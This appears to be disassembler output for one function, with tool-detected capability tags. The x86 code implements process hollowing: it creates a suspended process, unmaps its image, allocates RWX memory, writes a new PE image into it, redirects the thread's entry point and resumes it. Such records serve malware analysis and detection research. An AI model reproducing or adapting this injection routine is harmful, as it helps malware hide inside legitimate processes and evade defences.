Function at 0x473f34
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff8c
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x47419c
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
je 0x473f86
push 0x4741b8
push dword [ebp - 4]
push 0x4741c4
push dword [ebp - 8]
lea eax, [ebp - 8]
mov edx, 4
call fcn.004058e0
xor eax, eax
mov dword [ebp - 0xc], eax
mov ebx, esi
cmp word [ebx], 0x5a4d
jne 0x474181
mov edi, esi
add edi, dword [ebx + 0x3c]
cmp dword [edi], 0x4550
jne 0x474181
lea eax, [ebp - 0x74]
xor ecx, ecx
mov edx, 0x44
call fcn.00403af4
lea eax, [ebp - 0x30]
xor ecx, ecx
mov edx, 0x10
call fcn.00403af4
mov dword [ebp - 0x74], 0x44
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x74]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x474181
lea eax, [ebp - 0x14]
call fcn.00473f00
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x474170
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetThreadContext
test eax, eax
je 0x474160
lea eax, [ebp - 0x20]
push eax
push 4
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
mov eax, dword [ebp - 0x30]
push eax
call sub.kernel32.dll_ReadProcessMemory
mov eax, dword [edi + 0x34]
cmp eax, dword [ebp - 0x18]
jne 0x4740a5
mov eax, dword [edi + 0x34]
push eax
mov eax, dword [ebp - 0x30]
push eax
call sub.ntdll_NtUnmapViewOfSection
test eax, eax
jne 0x47408a
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
mov eax, dword [edi + 0x34]
push eax
mov eax, dword [ebp - 0x30]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x1c], eax
jmp 0x4740c0
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
push 0
mov eax, dword [ebp - 0x30]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x1c], eax
jmp 0x4740c0
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
mov eax, dword [edi + 0x34]
push eax
mov eax, dword [ebp - 0x30]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x474160
mov eax, esi
call fcn.00473e74
mov esi, eax
mov edx, dword [edi + 0x34]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
je 0x4740ff
sub eax, dword [edi + 0x34]
push eax
push edi
push esi
call fcn.00473dbc
mov eax, dword [ebp - 0x1c]
mov dword [edi + 0x34], eax
mov eax, esi
add eax, dword [ebx + 0x3c]
mov ecx, 0xf8
mov edx, edi
call fcn.00408560
lea eax, [ebp - 0x20]
push eax
mov eax, dword [edi + 0x50]
push eax
push esi
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x30]
push eax
call sub.kernel32.dll_WriteProcessMemory
lea eax, [ebp - 0x20]
push eax
push 4
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
mov eax, dword [ebp - 0x30]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x10]
mov dword [edx + 0xb0], eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x2c]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [ebp - 0x2c]
push eax
call sub.kernel32.dll_ResumeThread
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xc], eax
push 0x8000
push 0
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_VirtualFree_1
cmp dword [ebp - 0xc], 0
jne 0x474181
push 0
mov eax, dword [ebp - 0x30]
push eax
call sub.kernel32.dll_TerminateProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4741a3
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret